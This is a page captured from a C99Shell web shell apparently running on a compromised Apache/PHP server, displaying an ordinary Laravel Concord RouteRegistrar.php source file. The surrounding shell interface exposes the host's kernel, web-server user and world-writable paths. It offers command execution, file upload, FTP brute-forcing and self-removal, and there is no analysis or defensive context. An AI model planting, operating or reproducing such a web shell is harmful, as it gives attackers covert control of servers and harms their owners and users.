!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/vendor/konekt/concord/src/Routing/   drwxrwxrwx
Free 13.15 GB of 57.97 GB (22.69%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     RouteRegistrar.php (2.19 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Contains the RouteRegistrar class.
 *
 * @copyright   Copyright (c) 2019 Attila Fulop
 * @author      Attila Fulop
 * @license     MIT
 * @since       2019-06-05
 *
 */

namespace Konekt\Concord\Routing;

use 
Illuminate\Support\Arr;
use 
Illuminate\Support\Facades\File;
use 
Illuminate\Support\Facades\Route;
use 
Konekt\Concord\Contracts\Convention;
use 
Konekt\Concord\Contracts\Module;

class 
RouteRegistrar
{
    
/** @var Module */
    
private $module;

    
/** @var Convention */
    
private $convention;

    public function 
__construct(Module $moduleConvention $convention)
    {
        
$this->module     $module;
        
$this->convention $convention;
    }

    public function 
registerAllRoutes()
    {
        
$routeFiles collect(File::glob($this->getRoutesFolder() . '/*.php'))->map(function ($file) {
            return 
File::name($file);
        })->
all();

        
$this->registerRoutes($routeFiles);
    }

    public function 
registerRoutes(array $files, array $config = [])
    {
        
$path $this->getRoutesFolder();

        if (
is_dir($path)) {
            
$routes $files;

            foreach (
$routes as $route) {
                
Route::group(
                    [
                        
'namespace'  => Arr::get($config'namespace'$this->getDefaultRouteNamespace()),
                        
'prefix'     => Arr::get($config'prefix'$this->module->shortName()),
                        
'as'         => Arr::get($config'as'$this->module->shortName() . '.'),
                        
'middleware' => Arr::get($config'middleware', ['web'])
                    ],
                    
sprintf('%s/%s.php'$path$route)
                );
            }
        }
    }

    
/**
     * Returns the default namespace for routes/controllers within a box/module
     *
     * @return string
     */
    
private function getDefaultRouteNamespace()
    {
        return 
sprintf(
            
'%s\\%s',
            
$this->module->getNamespaceRoot(),
            
str_replace('/''\\'$this->convention->controllersFolder())
        );
    }

    private function 
getRoutesFolder(): string
    
{
        return 
$this->module->getBasePath() . '/' $this->convention->routesFolder();
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0058 ]--